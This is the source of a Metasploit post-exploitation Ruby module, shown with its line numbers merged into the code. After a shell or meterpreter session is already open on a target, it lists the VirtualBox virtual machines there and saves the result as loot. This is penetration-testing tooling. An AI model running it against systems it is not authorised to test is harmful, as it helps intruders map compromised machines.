Path: blob/master/modules/post/multi/gather/enum_vbox.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'yaml'67class MetasploitModule < Msf::Post8include Msf::Post::File910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Multi Gather VirtualBox VM Enumeration',15'Description' => %q{16This module will attempt to enumerate any VirtualBox VMs on the target machine.17Due to the nature of VirtualBox, this module can only enumerate VMs registered18for the current user, therefore, this module needs to be invoked from a user context.19},20'License' => MSF_LICENSE,21'Author' => ['theLightCosine'],22'Platform' => %w[bsd linux osx unix win],23'SessionTypes' => ['shell', 'meterpreter' ],24'Notes' => {25'Stability' => [CRASH_SAFE],26'SideEffects' => [],27'Reliability' => []28}29)30)31end3233def run34case session.platform35when 'windows'36if session.type == 'meterpreter'37begin38res = cmd_exec('c:\\Program Files\\Oracle\\VirtualBox\\vboxmanage', 'list -l vms')39rescue ::Rex::Post::Meterpreter::RequestError40print_error('VirtualBox does not appear to be installed on this machine')41return nil42end4344if res.empty?45print_status('VirtualBox is installed but this user has no VMs registered. Try another user.')46return nil47end48else49res = cmd_exec('"c:\\Program Files\\Oracle\\VirtualBox\\vboxmanage" list -l vms')50if res.empty?51print_error('VirtualBox isn\'t installed or this user has no VMs registered')52return nil53end54end55when 'unix', 'linux', 'bsd', 'osx'56res = cmd_exec('vboxmanage list -l vms')5758unless res.start_with?('Sun VirtualBox') || res.include?('Name:')59print_error('VirtualBox isn\'t installed or this user has no VMs registered')60return nil61end62end6364return nil unless res6566vprint_status(res)67store_path = store_loot('virtualbox_vms', 'text/plain', session, res, 'virtualbox_vms.txt', 'Virtualbox Virtual Machines')68print_good("#{peer} - File successfully retrieved and saved on #{store_path}")69end7071end727374